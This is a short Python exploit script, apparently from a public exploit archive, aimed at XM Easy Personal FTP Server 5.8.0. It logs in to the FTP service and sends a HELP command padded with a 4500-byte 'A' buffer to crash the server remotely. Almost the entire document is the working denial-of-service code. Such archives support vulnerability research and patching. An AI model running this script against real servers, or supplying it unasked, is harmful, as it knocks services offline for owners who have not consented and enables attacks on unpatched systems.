XM Easy Personal FTP Server 5.8.0 – ‘HELP’ Remote Denial of Service
#!/usr/bin/python #XM Easy Personal FTP Server 5.8.0 (HELP) Denial of Service #Tested on : Windows XP SP 3 EN #Author : Pawan Lal dxb.pawan@gmail.com #Date : 18-02-2016 import socket import sys def Usage(): print ("Usage: ./ftpxmftpdosbackup.py <FTP IP> <Username> <Password>\n") buffer= "A" * 4500 def start(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] " + r sock.send("user %s\r\n" %username) r=sock.recv(1024) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] Evil Payload i.e buffer" sock.send("HELP %s\r\n" %buffer) sock.close() if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] start(hostname,username,passwd) sys.exit(0) |